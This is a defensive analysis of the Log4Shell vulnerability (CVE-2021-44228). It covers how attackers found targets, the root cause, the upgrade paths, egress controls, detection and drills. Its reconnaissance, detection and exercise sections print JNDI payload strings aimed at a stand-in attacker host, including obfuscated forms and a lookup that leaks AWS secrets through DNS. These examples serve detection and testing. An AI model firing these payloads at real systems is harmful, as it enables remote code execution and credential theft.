CVE-2021-44228: Log4Shell - REFLEX Analysis
CVE Overview
- CVE ID: CVE-2021-44228
- Component/Software: Apache Log4j 2 (
log4j-core) - Vulnerable Versions: 2.0-beta9 through 2.15.0, excluding 2.12.2, 2.12.3 and 2.3.1
- Severity: 10.0 CRITICAL (CVSS 3.1)
- CWE: CWE-917 (Expression Language Injection), CWE-502 (Deserialisation of Untrusted Data)
- Impact: Remote code execution via JNDI lookup strings in logged data
- Date: Publicly disclosed 9 December 2021 (NVD published 10 December 2021)
- Safe Version: Upgrade to Log4j 2.17.1 or later (Java 8+). Java 7 users need 2.12.4; Java 6 users need 2.3.2.
Legacy System Support
For organisations unable to upgrade immediately, use the temporary mitigations in the Fortify section while you plan your upgrade path. Only one of them, removing the JndiLookup class, is effective.
The vulnerability that broke the internet. Log4Shell let attackers run code on any system that logged a string they controlled. Log4j was everywhere, so that meant a lot of systems.
An attacker spends a Friday evening spraying ${jndi:ldap://...} strings into every field they can reach: User-Agent headers, login forms, chat messages, even device names. Most of the targets never asked for Log4j. It arrived inside Elasticsearch, Apache Solr, a VMware appliance, or a Minecraft server. One of those requests lands in the support portal of a logistics company. The portal logs the User-Agent, Log4j resolves the lookup, and the JVM fetches and runs a class from the attacker's LDAP server. By Monday the attacker has a shell, the cloud credentials from the environment, and a foothold nobody notices for weeks.
REFLEX Analysis
Reconnaissance
From an attacker's perspective:
Finding Log4Shell targets was trivial. Attackers did not need to know whether a system used Log4j. They sent the payload everywhere and waited for callbacks.
- Spray and listen: put a
${jndi:ldap://<unique-id>.attacker.example/a}string in every header and form field. Any DNS lookup or LDAP connection to that host confirms a vulnerable logger, and the unique ID says which request triggered it. - Dependency manifests: public
pom.xmlandbuild.gradlefiles reveallog4j-coreand its version. - Product fingerprinting: banners and error pages reveal products known to bundle Log4j, such as Elasticsearch, Apache Solr and VMware vCenter.
- Indirect paths: input that is logged later by a different system. A string typed into a web form might be logged by a back-office service that never faces the internet.
The attacker's advantage was that any logged input became an attack vector: usernames, HTTP headers, form fields, chat messages.
Developer insight: Your attack surface includes every library that touches user input, including the ones you never chose and cannot see in your pom.xml.
Evaluate
Vulnerability assessment:
Log4Shell was exploitable when these conditions aligned:
- The application uses
log4j-core2.0-beta9 through 2.15.0, excluding 2.12.2, 2.12.3 and 2.3.1. - The application logs data an attacker can influence.
- The JVM can make outbound connections, or at least DNS lookups.
Technical root cause: Log4j's lookup feature resolved ${...} expressions inside log messages. The jndi: lookup made a JNDI call to whatever server the string named. An LDAP server could answer with a reference to a remote Java class, which the JVM then loaded. Newer JDKs block remote class loading by default, but attackers moved on to deserialisation gadgets already on the classpath. Even with no code execution, lookups such as ${env:AWS_SECRET_ACCESS_KEY} could leak secrets inside the DNS name of the callback.
The fix for 2.15.0 was incomplete, which led to more CVEs:
- CVE-2021-45046: Thread Context lookups in non-default patterns. Fixed in 2.16.0.
- CVE-2021-45105: uncontrolled recursion causing denial of service. Fixed in 2.17.0.
- CVE-2021-44832: JDBC Appender JNDI with an attacker-controlled configuration. Fixed in 2.17.1.
Assessment challenges for developers:
- Log4j often arrived as a transitive dependency or inside a vendor product.
- Fat JARs and shaded JARs hide the library. Copies relocated or nested inside another JAR don't show up in
mvn dependency:tree. - Many estates had several copies at different versions.
- Spring Boot uses Logback by default, so a typical Spring Boot app was not affected. Teams that switched to
spring-boot-starter-log4j2were.
Check your own exposure at both build and artefact level:
# Maven: which modules pull in log4j-core, and at what version
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
# Gradle
./gradlew dependencyInsight --dependency log4j-core
# Built artefacts, including nested and shaded JARs
syft dir:./build -o table | grep -i log4j
Developer insight: You can only assess what you can see. If your inventory stops at the build file, you can't see shaded copies inside your own artefacts.
Fortify
Prevention and hardening:
Upgrade first. Move to Log4j 2.17.1 or later on Java 8+, 2.12.4 on Java 7, or 2.3.2 on Java 6. These fix CVE-2021-44228 and the follow-up CVEs.
If you cannot upgrade immediately, there is one temporary mitigation that works:
# Remove the JndiLookup class from every log4j-core JAR (including copies inside fat JARs)
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Avoid the mitigations that were widely shared in December 2021:
-Dlog4j2.formatMsgNoLookups=trueandLOG4J_FORMAT_MSG_NO_LOOKUPS=trueonly work on 2.10.0 and later. They do not cover Thread Context lookups, which is why CVE-2021-45046 exists. Apache withdrew this advice as insufficient.- Input sanitisation does not work. The obfuscation options (
${${lower:j}ndi:...}) are endless, and the data may be logged by a system you don't control. - Parameterised logging does not help on vulnerable versions. Lookups ran on the formatted message, parameters included.
// Both lines are exploitable on log4j-core 2.14.1
logger.info("User login: " + username);
logger.info("User login: {}", username);
// Upgrading is the fix. Logging less user-controlled data reduces exposure for the next bug.
logger.info("User login: userId={}", userId);
Long-term fortification:
- Pin and manage versions centrally: use the
log4j-bomin Maven<dependencyManagement>or a Gradle platform so every module gets the patched version. - Fail the build on known critical CVEs: run OWASP Dependency-Check, OSV-Scanner or Dependabot in CI.
- Generate SBOMs for artefacts: scan what you ship, including shaded JARs, not just your build file.
- Restrict egress by default: an application server that cannot reach the internet cannot fetch a remote payload.
Developer insight: A logging library is in every request path. Treat its security updates as emergency patches.
Limit
Damage containment:
The organisations that fared best in December 2021 already had tight egress. A JVM with no route to the internet could still be tricked into a lookup, but it could not fetch the attacker's class.
- Egress allowlists: only permit the destinations the service needs.
- Least privilege: run the JVM as a non-root user with no cloud credentials beyond what it uses.
- Container hardening: read-only root filesystem, dropped capabilities, seccomp profile.
- Service boundaries: a compromised logging path in one service should not expose another service's secrets.
A Kubernetes NetworkPolicy that allows only the database and cluster DNS:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: web-app-egress
spec:
podSelector:
matchLabels:
app: web-app
policyTypes:
- Egress
egress:
- to:
- podSelector:
matchLabels:
app: database
ports:
- protocol: TCP
port: 5432
# Without this rule, name resolution fails for the whole pod
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
podSelector:
matchLabels:
k8s-app: kube-dns
ports:
- protocol: UDP
port: 53
- protocol: TCP
port: 53
This blocks the LDAP fetch. It does not block DNS. The cluster resolver still forwards lookups for the attacker's domain, so the callback, and any secrets embedded in the hostname, can still leak. Egress controls limit code execution. Only the upgrade closes the hole.
Developer insight: Assume something will get in. Design so a compromised service cannot reach much once it does.
Expose
Detection and visibility:
Attack indicators to monitor:
- Request logs containing
${jndi:, or obfuscated forms such as${${lower:j}ndi:and${${::-j}${::-n}${::-d}${::-i}:. - Outbound LDAP (389, 636, 1389) or RMI (1099) connections from application servers.
- DNS queries for unusual or long, random-looking subdomains from application hosts.
- Child processes such as
sh,bashorcurlspawned by ajavaprocess.
Log patterns that revealed exploitation:
# Access log entries carrying the payload
"GET / HTTP/1.1" 200 - "${jndi:ldap://attacker.example:1389/a}"
"GET / HTTP/1.1" 200 - "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.example/a}"
# Application log showing a failed JNDI lookup
ERROR JndiManager javax.naming.CommunicationException: attacker.example:1389
Detection commands:
# Search request and application logs, including compressed rotations
zgrep -E -i '\$\{(jndi|\$\{(lower|upper|::-))' /var/log/nginx/access.log*
# Watch for LDAP and RMI traffic leaving the host
tcpdump -i any -n 'tcp and (dst port 389 or dst port 636 or dst port 1389 or dst port 1099)'
A simple grep misses heavily obfuscated payloads. Use it as a quick triage step, then rely on egress and process monitoring to catch what slips through.
Developer insight: Payloads mutate. Network and process behaviour don't. Watch what your JVM does, not just what it receives.
Exercise
Practice and preparedness:
Safe exercises:
- Inventory drill: time how long it takes to list every service and artefact that contains
log4j-core, with versions. Include container images and vendor products. - Canary test in staging: use a DNS canary you own, such as a Thinkst Canarytokens Log4Shell token, against a staging instance you control. A callback means a vulnerable path exists. Never test systems you don't own.
- Egress check: from inside a production-like pod, try to reach an external LDAP port. Confirm the connection fails and an alert fires.
# Run against your own staging service only
curl -H 'User-Agent: ${jndi:ldap://<your-canary-token-hostname>/a}' https://staging.your-app.example/
# Then confirm: did the canary fire? Did the WAF or log search flag the request?
Team preparedness checklist:
- Can you produce a dependency inventory across all services in under an hour?
- Do your SBOMs cover shaded and nested JARs?
- Does CI fail the build on a critical CVE in a dependency?
- Can you ship a patched build of every service within 24 hours?
- Do production services have egress allowlists, and do you alert on blocked connections?
- Do you know which vendor products you run that bundle Java libraries?
What-if scenarios:
- Bundled library: a critical CVE lands in a library you only get through a vendor appliance. Who do you call, and what do you block while you wait?
- Incomplete fix: the first patch is bypassed three days later. Can you roll a second upgrade as fast as the first?
Developer insight: Work out your dependency inventory now. During a disclosure is the worst time to discover you don't have one.
Four Years Later
Log4Shell should have been the turning point. The fix is well known and non-breaking, yet Sonatype's 2026 State of the Software Supply Chain report found that developers downloaded more than 42 million vulnerable Log4j versions in 2025. That is 13% of all Log4j downloads. Some regions have driven the vulnerable share down to single digits, while others still pull 20 to 45% vulnerable versions.
Sonatype puts this down to consumption habits: outdated build templates, pinned versions and transitive dependencies nobody owns. Part of the problem is lifecycle. It reports that 14% of the Log4j artifacts affected by Log4Shell are now end-of-life, and those artifacts still drew more than 619 million downloads in 2025. On an end-of-life line there is no upstream patch to take, so the only exits are a major upgrade, a replacement or commercial extended support. See End-of-Life Dependencies.
These are one vendor's figures from its own registry telemetry. The lesson holds anyway: a famous CVE with a free fix still circulates years later unless something in your pipeline stops it.
Key Takeaways for Developers
Most important lesson: Dependency management is security management. A library you never chose can still put code execution in your request path.
CRITICAL: Upgrade to Log4j 2.17.1 or later (2.12.4 on Java 7, 2.3.2 on Java 6).
Immediate actions:
- Upgrade: move every copy of
log4j-coreto 2.17.1 or later. - Find hidden copies: scan built artefacts and images, not just build files, for shaded and nested JARs.
- Remove
JndiLookup.classwhere you cannot upgrade yet. Do not rely onformatMsgNoLookups. - Add CI scanning: OWASP Dependency-Check, OSV-Scanner or Dependabot, with a failing threshold for critical CVEs.
- Restrict egress: allowlist outbound destinations for application servers.
- Monitor: alert on outbound LDAP/RMI and shells spawned by Java processes.
Long-term practices:
- Centralise version management with BOMs or Gradle platforms.
- Generate SBOMs for everything you ship and keep them searchable.
- Minimise dependencies: every library is part of your attack surface.
- Rehearse emergency patching so it is routine when you need it.
Related patterns: Submodule and Vendored Code Drift covers bundled copies that escape your dependency tree. Provenance and SBOM Tampering covers the inventory you need to answer "are we affected?". Kubernetes Misconfigurations covers the egress and isolation controls that limited the damage.